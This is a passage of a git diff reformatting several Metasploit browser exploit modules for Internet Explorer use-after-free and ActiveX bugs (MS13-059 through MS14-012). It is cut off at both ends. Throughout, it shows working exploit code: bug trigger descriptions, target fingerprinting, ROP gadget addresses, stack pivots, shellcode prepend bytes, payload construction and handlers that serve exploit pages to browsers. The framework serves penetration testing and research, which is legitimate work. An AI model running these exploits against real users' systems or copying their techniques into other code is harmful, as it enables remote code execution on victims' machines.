'Description' => %q{ + This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, + it seems to only affect certain releases of mshtml.dll, ranging from a newly + installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8 + requires a different way to trigger the vulnerability, but not currently covered + by this module. + + The issue is specific to the browser's IE7 document compatibility, which can be + defined in X-UA-Compatible, and the content editable mode must be enabled. An + "onmove" event handler is also necessary to be able to trigger the bug, and the + event will be run twice before the crash. The first time is due to the position + change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' + object is created during a "SelectAll" command, and this object will be used later + on for the crash. The second onmove event seems to be triggered by a InsertButton + (or Insert-whatever) command, which is also responsible for the free of object + CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will + then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and + then passes this on to the next functions (GetLineInfo -> QIClassID). When this + reference arrives in function QIClassID, an access violation finally occurs when + the function is trying to call QueryInterface() with the bad reference, and this + results a crash. Successful control of the freed memory may leverage arbitrary code + execution under the context of the user. + + Note: It is also possible to see a different object being freed and used, doesn't + always have to be CFlatMarkupPointer. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'corelanc0d3r', # Vuln discovery, PoC + 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-3184' ], - [ 'OSVDB', '96182' ], - [ 'MSB', 'MS13-059' ], - [ 'BID', '61668' ], + [ 'OSVDB', '96182' ], + [ 'MSB', 'MS13-059' ], + [ 'BID', '61668' ], [ 'ZDI', '13-194' ], [ 'ZDI', '13-195' ] ], - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script/i, - :os_name => 'Windows 7', - :ua_name => HttpClients::IE, - :ua_ver => "9.0", - :java => /1\.6|6\.0/, + 'Platform' => 'win', + 'BrowserRequirements' => { + :source => /script/i, + :os_name => 'Windows 7', + :ua_name => HttpClients::IE, + :ua_ver => "9.0", + :java => /1\.6|6\.0/, :mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun }, - 'Targets' => - [ + 'Targets' => [ [ 'Automatic', {} ] ], - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00", 'StackAdjustment' => -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Privileged' => false, - 'DisclosureDate' => '2013-06-27', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-06-27', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def rnd_dword @@ -88,7 +91,7 @@ def get_fake_obj # edx,dword ptr [eax] # ... # call edx - obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020) + obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020) obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") obj << [rnd_dword].pack("V*") @@ -104,7 +107,7 @@ def get_fake_obj # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283 # cccccccc ?? ??? def get_payload - code = '' + code = '' code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 code << "\x61\x9d" # popad; popfd code << payload.encoded @@ -114,14 +117,14 @@ def get_payload 0x0c0c0c0c ].pack("V*") - generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + generate_rop_payload('java', code, { 'pivot' => stack_pivot }) end # The meta-refresh seems very necessary to make the object overwrite more reliable. # Without it, it only gets about 50/50 def get_template js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj) - js_payload = ::Rex::Text.to_unescape(get_payload) + js_payload = ::Rex::Text.to_unescape(get_payload) template = %Q| diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 52a53af235439..cc65643efcf93 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -9,95 +9,97 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", - 'Description' => %q{ - This module exploits a use-after-free vulnerability found in Internet Explorer, - specifically in how the browser handles the caret (text cursor) object. In IE's standards - mode, the caret handling's vulnerable state can be triggered by first setting up an - editable page with an input field, and then we can force the caret to update in an - onbeforeeditfocus event by setting the body's innerHTML property. In this event handler, - mshtml!CCaret::`vftable' can be freed using a document.write() function, however, - mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the - same reference to the CCaret object. When the function tries to use this invalid reference - to call a virtual function at offset 0x2c, it finally results a crash. Precise control of - the freed object allows arbitrary code execution under the context of the user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-069 Microsoft Internet Explorer CCaret Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability found in Internet Explorer, + specifically in how the browser handles the caret (text cursor) object. In IE's standards + mode, the caret handling's vulnerable state can be triggered by first setting up an + editable page with an input field, and then we can force the caret to update in an + onbeforeeditfocus event by setting the body's innerHTML property. In this event handler, + mshtml!CCaret::`vftable' can be freed using a document.write() function, however, + mshtml!CCaret::UpdateScreenCaret remains unaware of this change, and still uses the + same reference to the CCaret object. When the function tries to use this invalid reference + to call a virtual function at offset 0x2c, it finally results a crash. Precise control of + the freed object allows arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'corelanc0d3r', # Vuln discovery & PoC (@corelanc0d3r) - 'sinn3r' # Metasploit (@_sinn3r) + 'sinn3r' # Metasploit (@_sinn3r) ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-3205' ], [ 'OSVDB', '97094' ], - [ 'MSB', 'MS13-069' ], + [ 'MSB', 'MS13-069' ], [ 'ZDI', '13-217' ] ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ # Win 7 target on hold until we have a stable custom spray for it 'IE 8 on Windows XP SP3', { - 'Rop' => :msvcrt, - 'TargetAddr' => 0x1ec20101, # Allocs @ 1ec20020 (+0xe1 bytes to be null-byte free) - in ecx + 'Rop' => :msvcrt, + 'TargetAddr' => 0x1ec20101, # Allocs @ 1ec20020 (+0xe1 bytes to be null-byte free) - in ecx 'PayloadAddr' => 0x1ec20105, # where the ROP payload begins - 'Pivot' => 0x77C4FA1A, # mov esp,ebx; pop ebx; ret - 'PopESP' => 0x77C37422, # pop esp; ret (pivot to a bigger space) - 'Align' => 0x77c4d801 # add esp, 0x2c; ret (ROP gadget to jmp over pivot gadget) + 'Pivot' => 0x77C4FA1A, # mov esp,ebx; pop ebx; ret + 'PopESP' => 0x77C37422, # pop esp; ret (pivot to a bigger space) + 'Align' => 0x77c4d801 # add esp, 0x2c; ret (ROP gadget to jmp over pivot gadget) } ] ], - 'Payload' => - { + 'Payload' => { # Our property sprays dislike null bytes 'BadChars' => "\x00", # Fix the stack again before the payload is executed. # If we don't do this, meterpreter fails due to a bad socket. - 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] - "\x83\xC0\x08" + # add eax, byte 8 - "\x8b\x20" + # mov esp, [eax] - "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 # Fall back to the previous allocation so we have plenty of space # for the decoder to use - 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 + 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Privileged' => false, - 'DisclosureDate' => '2013-09-10', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-09-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end - def get_target(agent) return targets[0] if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ + nil end - def get_payload(t) # This data should appear at the beginning of the target address (see TargetAddr in metadata) p = '' p << rand_text_alpha(225) # Padding to avoid null byte addr p << [t['TargetAddr']].pack("V*") # For mov ecx,dword ptr [eax] - p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) + p << [t['Align']].pack("V*") * ((0x2c - 4) / 4) # 0x2c bytes to pivot (-4 for TargetAddr) p << [t['Pivot']].pack("V*") # Stack pivot p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment - p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) + p << generate_rop_payload('msvcrt', payload.encoded, { 'target' => 'xp' }) p end - # # Notes: # * A custom spray is used (see function putPayload), because document.write() keeps freeing @@ -107,10 +109,10 @@ def get_payload(t) # def get_html(t) js_payload_addr = ::Rex::Text.to_unescape([t['PayloadAddr']].pack("V*")) - js_target_addr = ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*")) - js_pop_esp = ::Rex::Text.to_unescape([t['PopESP']].pack("V*")) - js_payload = ::Rex::Text.to_unescape(get_payload(t)) - js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4)) + js_target_addr = ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*")) + js_pop_esp = ::Rex::Text.to_unescape([t['PopESP']].pack("V*")) + js_payload = ::Rex::Text.to_unescape(get_payload(t)) + js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4)) html = %Q| @@ -195,7 +197,6 @@ def get_html(t) html.gsub(/^\x20\x20\x20\x20/, '') end - def on_request_uri(cli, request) agent = request.headers['User-Agent'] t = get_target(agent) @@ -209,7 +210,7 @@ def on_request_uri(cli, request) html = get_html(t) print_status("Sending exploit...") - send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' }) end end diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index e9d5b28a7cba6..1fd2016b10944 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -11,76 +11,80 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "8.0", - :ua_maxver => "8.0", + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", :javascript => true, - :os_name => OperatingSystems::Match::WINDOWS, - :rank => NormalRanking + :os_name => OperatingSystems::Match::WINDOWS, + :rank => NormalRanking }) - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", - 'Description' => %q{ - This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally - found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, - around the same time frame as CVE-2013-3893, except this was kept out of the public eye by - multiple research companies and the vendor until the October patch release. - - This issue is a use-after-free vulnerability in CDisplayPointer via the use of a - "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft - the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. - If we use a select() function for the CTextArea element, two important things will happen: - a CDisplayPointer object will be created for CTextArea, and it will also trigger another - event called "onselect". The "onselect" event will allow us to set up for the actual event - handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child - of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger - "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer - object can be forced by using an "Unselect" (other approaches also apply), but a reference - of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after - the CDoc::GetLineInfo call, because it is still trying to use that to update - CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash - finally occurs due to accessing the freed memory. By controlling this freed memory, it is - possible to achieve arbitrary code execution under the context of the user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", + 'Description' => %q{ + This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally + found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, + around the same time frame as CVE-2013-3893, except this was kept out of the public eye by + multiple research companies and the vendor until the October patch release. + + This issue is a use-after-free vulnerability in CDisplayPointer via the use of a + "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft + the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. + If we use a select() function for the CTextArea element, two important things will happen: + a CDisplayPointer object will be created for CTextArea, and it will also trigger another + event called "onselect". The "onselect" event will allow us to set up for the actual event + handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child + of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger + "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer + object can be forced by using an "Unselect" (other approaches also apply), but a reference + of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after + the CDoc::GetLineInfo call, because it is still trying to use that to update + CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash + finally occurs due to accessing the freed memory. By controlling this freed memory, it is + possible to achieve arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Exploit in the wild - 'sinn3r' # Metasploit + 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-3897' ], [ 'OSVDB', '98207' ], [ 'MSB', 'MS13-080' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', {} ], [ 'IE 8 on Windows XP SP3', {} ], - [ 'IE 8 on Windows 7', {} ], + [ 'IE 8 on Windows 7', {} ], ], - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 }, - 'DefaultOptions' => - { - #'PrependMigrate' => true, + 'DefaultOptions' => { + # 'PrependMigrate' => true, 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Privileged' => false, - # Jsunpack first received a sample to analyze on Sep 12 2013. - # MSFT patched this on Oct 8th. - 'DisclosureDate' => '2013-10-08', - 'DefaultTarget' => 0)) + 'Privileged' => false, + # Jsunpack first received a sample to analyze on Sep 12 2013. + # MSFT patched this on Oct 8th. + 'DisclosureDate' => '2013-10-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def get_check_html @@ -131,45 +135,45 @@ def junk def get_payload(target_info) rop_payload = '' - os = target_info[:os] - dll_used = '' + os = target_info[:os] + dll_used = '' case target_info[:dll] when @js_office_2007_str dll_used = "Office 2007" pivot = - [ - 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 - junk, # ESI due to POPAD - junk, # EBP due to POPAD - junk, - junk, # EBX due to POPAD - junk, # EDX due to POPAD - junk, # ECX due to POPAD - 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) - 0x51bd81db, # ROP NOP - junk # Padding for the retn 4 from the stack pivot - ].pack("V*") - - rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) + [ + 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 + junk, # ESI due to POPAD + junk, # EBP due to POPAD + junk, + junk, # EBX due to POPAD + junk, # EDX due to POPAD + junk, # ECX due to POPAD + 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) + 0x51bd81db, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, { 'target' => '2007', 'pivot' => pivot }) when @js_office_2010_str dll_used = "Office 2010" pivot = - [ - 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 - junk, - junk, - junk, - junk, - junk, - 0x51BE7E9A, # ROP NOP - junk # Padding for the retn 4 from the stack pivot - ].pack("V*") - - rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) + [ + 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 + junk, + junk, + junk, + junk, + junk, + 0x51BE7E9A, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, { 'target' => '2010', 'pivot' => pivot }) when @js_default_str if target_info[:os] =~ /windows xp/i @@ -177,22 +181,22 @@ def get_payload(target_info) dll_used = "msvcrt" pivot = - [ - 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret - ].pack("V*") + [ + 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret + ].pack("V*") - rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) + rop_payload = generate_rop_payload('msvcrt', payload.encoded, { 'target' => 'xp', 'pivot' => pivot }) else # Assuming this is Win 7, and we'll use Java 6 ROP dll_used = "Java" pivot = - [ - 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn - junk # Padding for the POP ECX - ].pack("V*") + [ + 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn + junk # Padding for the POP ECX + ].pack("V*") - rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) + rop_payload = generate_rop_payload('java', payload.encoded, { 'pivot' => pivot }) end end @@ -207,7 +211,7 @@ def get_payload(target_info) # Don't think this one triggers on IE9 # def get_sploit_html(target_info) - os = target_info[:os] + os = target_info[:os] js_payload = '' if os =~ /Windows (7|XP) MSIE [78]\.0/ @@ -282,34 +286,32 @@ def get_sploit_html(target_info) | end - def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ target_info = - { - :os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)), - :dll => Rex::Text.uri_decode($2) - } + { + :os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)), + :dll => Rex::Text.uri_decode($2) + } sploit = get_sploit_html(target_info) - send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + send_response(cli, sploit, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' }) return end html = get_check_html print_status("Checking out target...") - send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' }) end def exploit @js_office_2007_str = Rex::Text.rand_text_alpha(4) @js_office_2010_str = Rex::Text.rand_text_alpha(5) - @js_default_str = Rex::Text.rand_text_alpha(6) + @js_default_str = Rex::Text.rand_text_alpha(6) super end end - =begin +hpa this for debugging or you might not see a crash at all :-) diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 7df3411c6c464..26d6b1e1f2133 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -9,68 +9,66 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ - :ua_name => HttpClients::IE, - :ua_minver => "8.0", - :ua_maxver => "8.0", + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", :javascript => true, - :os_name => OperatingSystems::Match::WINDOWS_XP, -# BrowserAutoPwn currently has a syntax error bug so we can't use classid and method, -# so we have these commented out for now. But it's not so bad because by default -# Windows XP has this ActiveX, and BrowserExploitServer's check will kick in. -# :classid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", -# :method => "requiredClaims" + :os_name => OperatingSystems::Match::WINDOWS_XP, + # BrowserAutoPwn currently has a syntax error bug so we can't use classid and method, + # so we have these commented out for now. But it's not so bad because by default + # Windows XP has this ActiveX, and BrowserExploitServer's check will kick in. + # :classid => "{19916E01-B44E-4E31-94A4-4696DF46157B}", + # :method => "requiredClaims" }) - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", - 'Description' => %q{ - This module exploits a vulnerability on the CardSpaceClaimCollection class from the - icardie.dll ActiveX control. The vulnerability exists while the handling of the - CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of - elements on a SafeArray and keeps a size field, counting the number of elements on the - collection. By calling the remove() method on an empty CardSpaceClaimCollection it is - possible to underflow the length field, storing a negative integer. Later, a call to - the add() method will use the corrupted length field to compute the address where write - into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. - This module achieves code execution by using VBScript as discovered in the wild on - November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create - a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt - one of the legit OBJECT elements with the described integer overflow and (5) achieve code - execution by forcing the use of the corrupted OBJECT. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # Vulnerability Discovery and exploit in the wild + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow", + 'Description' => %q{ + This module exploits a vulnerability on the CardSpaceClaimCollection class from the + icardie.dll ActiveX control. The vulnerability exists while the handling of the + CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of + elements on a SafeArray and keeps a size field, counting the number of elements on the + collection. By calling the remove() method on an empty CardSpaceClaimCollection it is + possible to underflow the length field, storing a negative integer. Later, a call to + the add() method will use the corrupted length field to compute the address where write + into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. + This module achieves code execution by using VBScript as discovered in the wild on + November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create + a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt + one of the legit OBJECT elements with the described integer overflow and (5) achieve code + execution by forcing the use of the corrupted OBJECT. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Unknown', # Vulnerability Discovery and exploit in the wild 'juan vazquez' # Metasploit module ], - 'References' => - [ - [ 'CVE', '2013-3918'], + 'References' => [ + [ 'CVE', '2013-3918'], [ 'OSVDB', '99555' ], - [ 'BID', '63631' ], - [ 'MSB', 'MS13-090' ], - [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ] + [ 'BID', '63631' ], + [ 'MSB', 'MS13-090' ], + [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ] ], - 'Payload' => - { - 'Space' => 4096, - 'DisableNops' => true, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true, + 'BadChars' => "\x00", # Patch the stack to execute the decoder... 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff", # add esp, -500 # Fix the stack again, this time better :), before the payload # is executed. - 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] - "\x83\xC0\x08" + # add eax, byte 8 - "\x8b\x20" + # mov esp, [eax] - "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000 }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, + 'Platform' => 'win', + 'BrowserRequirements' => { + :source => /script|headers/i, :activex => [ { clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}', @@ -79,26 +77,31 @@ def initialize(info={}) ], :os_name => OperatingSystems::Match::WINDOWS_XP }, - 'Targets' => - [ - [ 'Windows XP with IE 8', + 'Targets' => [ + [ + 'Windows XP with IE 8', { - 'os_name' => OperatingSystems::Match::WINDOWS_XP, - 'ua_name' => Msf::HttpClients::IE, - 'ua_ver' => '8.0', - 'arch' => ARCH_X86 + 'os_name' => OperatingSystems::Match::WINDOWS_XP, + 'ua_name' => Msf::HttpClients::IE, + 'ua_ver' => '8.0', + 'arch' => ARCH_X86 } ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', - 'Retries' => false + 'Retries' => false }, - 'Privileged' => false, - 'DisclosureDate' => '2013-11-08', - 'DefaultTarget' => 0)) - + 'Privileged' => false, + 'DisclosureDate' => '2013-11-08', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def exploit_template(cli, target_info) @@ -109,17 +112,17 @@ def exploit_template(cli, target_info) symbols = { "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)), - "get_code" => rand_text_alpha(5 + rand(5)), - "code" => rand_text_alpha(5 + rand(5)), - "required_claims" => rand_text_alpha(5 + rand(5)), - "massage_array" => rand_text_alpha(5 + rand(5)), - "massage_array_length" => rand_text_alpha(5 + rand(5)), - "zero" => rand_text_alpha(5 + rand(5)), - "underflow" => rand_text_alpha(5 + rand(5)), - "my_code" => rand_text_alpha(5 + rand(5)) + "get_code" => rand_text_alpha(5 + rand(5)), + "code" => rand_text_alpha(5 + rand(5)), + "required_claims" => rand_text_alpha(5 + rand(5)), + "massage_array" => rand_text_alpha(5 + rand(5)), + "massage_array_length" => rand_text_alpha(5 + rand(5)), + "zero" => rand_text_alpha(5 + rand(5)), + "underflow" => rand_text_alpha(5 + rand(5)), + "my_code" => rand_text_alpha(5 + rand(5)) } - rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot}) + rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), { 'target' => 'xp', 'pivot' => stack_pivot }) js_payload = Rex::Text.to_unescape(rop_payload) html_template = %Q| diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 9f3078b9e843e..8d152ad51bea9 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -8,59 +8,61 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - def initialize(info={}) - super(update_info(info, - 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", - 'Description' => %q{ - This module exploits an use after free condition on Internet Explorer as used in the wild - as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to - bypass ASLR and DEP. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free", + 'Description' => %q{ + This module exploits an use after free condition on Internet Explorer as used in the wild + as part of "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to + bypass ASLR and DEP. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Vulnerability discovery and Exploit in the wild 'Jean-Jamil Khalife', # Exploit 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2014-0322' ], [ 'MSB', 'MS14-012' ], [ 'BID', '65551' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'], [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ] ], - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 960, - 'DisableNops' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => { + 'Space' => 960, + 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => 'Windows 7', - :ua_name => Msf::HttpClients::IE, - :ua_ver => '10.0', + 'BrowserRequirements' => { + :source => /script|headers/i, + :os_name => 'Windows 7', + :ua_name => Msf::HttpClients::IE, + :ua_ver => '10.0', :mshtml_build => lambda { |ver| ver.to_i < 16843 }, - :flash => /^1[23]\./ + :flash => /^1[23]\./ }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 